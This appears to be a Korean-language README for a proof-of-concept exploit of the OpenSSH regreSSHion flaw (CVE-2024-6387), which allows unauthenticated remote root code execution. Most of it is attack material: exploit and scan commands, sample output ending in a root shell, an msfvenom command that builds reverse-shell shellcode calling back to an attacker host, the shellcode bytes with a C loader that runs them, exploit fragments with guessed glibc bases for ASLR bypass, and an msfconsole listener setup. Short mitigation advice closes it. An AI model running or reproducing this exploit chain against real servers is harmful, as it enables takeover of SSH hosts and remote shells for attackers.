prelearn-code/cve-2024-6387CVE-2024-6387 (regreSSHion)에 대한 개념 증명 익스플로잇으로, OpenSSH 서버에서 signal handler race condition을 통해 인증되지 않은 원격 코드 실행을 대상으로 합니다. 스캔, exploitation 및 reverse shell generation을 포함합니다.
CVE-2024-6387 - PoC참고: 이 스크립트는 빠른 프로토타입 PoC입니다. 일부 오류 및 버그가 발생할 수 있습니다. 테스트 환경: Kali Linux, ParrotSec, Ubuntu 22.04
OpenSSH 서버의 원격 인증되지 않은 코드 실행 취약점
OpenSSH 서버(sshd)에서 신호 핸들러 경쟁 조건이 발견되었습니다. 클라이언트가 LoginGraceTime(기본 120초, 이전 OpenSSH 버전에서는 600초) 내에 인증을 완료하지 않으면 sshd의 SIGALRM 핸들러가 비동기적으로 호출됩니다. 그러나 이 핸들러는 syslog()와 같이 async-signal-safe하지 않은 여러 함수를 호출합니다.
기술적 세부 사항은 여기에서 확인할 수 있습니다.
이 결함은 2024년 5월 Qualys 연구원들이 발견했으며 CVE-2024-6387 식별자가 할당되었습니다. 이는 sshd의 신호 핸들러 경쟁 조건으로 인해 인증되지 않은 원격 공격자가 루트 권한으로 임의 코드를 실행할 수 있는 취약점입니다.
"클라이언트가 LoginGraceTime(기본 120초) 내에 인증하지 않으면 sshd의 SIGALRM 핸들러가 비동기적으로 호출되며, async-signal-safe하지 않은 여러 함수(예: syslog())를 호출합니다."
"원격 인증되지 않은 공격자는 이 결함을 이용하여 루트 권한으로 임의 코드를 실행할 수 있습니다."
요구 사항: python3 최신 버전
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-access패치 관리: OpenSSH에 사용 가능한 패치를 신속하게 적용하는 것이 취약점을 차단하는 데 중요합니다. 적시에 패치를 적용하면 알려진 익스플로잇이 시스템에 악용되는 것을 방지하여 공격자의 기회를 줄일 수 있습니다.
향상된 액세스 제어: 네트워크 기반 제어를 통해 SSH 액세스를 제한하면 추가적인 방어 계층이 제공됩니다. 이 접근 방식은 SSH 연결을 승인된 네트워크 또는 IP 주소로만 제한함으로써 잠재적 공격자에 대한 노출을 최소화합니다. 방화벽 규칙이나 VPN을 통한 안전한 액세스 같은 도구를 사용하여 이러한 제한을 효과적으로 시행할 수 있습니다.
네트워크 분할: 네트워크를 세그먼트로 분할하면 잠재적 침해의 영향을 제한하는 데 도움이 됩니다. 중요 시스템과 민감 데이터를 덜 중요한 네트워크 부분과 분리함으로써 공격자의 측면 이동 위험을 줄일 수 있습니다. 이러한 분할은 엄격한 액세스 제어 및 모니터링을 통해 보완되어 이러한 세그먼트를 침해하려는 무단 시도를 탐지하고 대응할 수 있습니다.
침입 탐지 시스템 (IDS): IDS 또는 침입 방지 시스템(IPS)을 배포하면 네트워크 트래픽과 시스템 로그를 실시간으로 모니터링할 수 있습니다. 이러한 시스템은 regreSSHion 취약점과 관련된 의심스러운 활동 및 잠재적 익스플로잇 시도를 탐지할 수 있습니다. 이 시스템이 트리거한 경고를 통해 심각한 피해가 발생하기 전에 신속한 조사와 완화가 가능합니다.
익스플로잇 시도 모니터링: 네트워크 및 시스템 로그를 지속적으로 모니터링하는 것이 중요합니다. OpenSSH 취약점을 악용하려는 시도를 나타낼 수 있는 비정상적인 패턴이나 활동을 찾아보십시오. 이 사전 예방적 접근 방식은 피해를 입히기 전에 위협을 식별하고 대응하는 데 도움이 됩니다.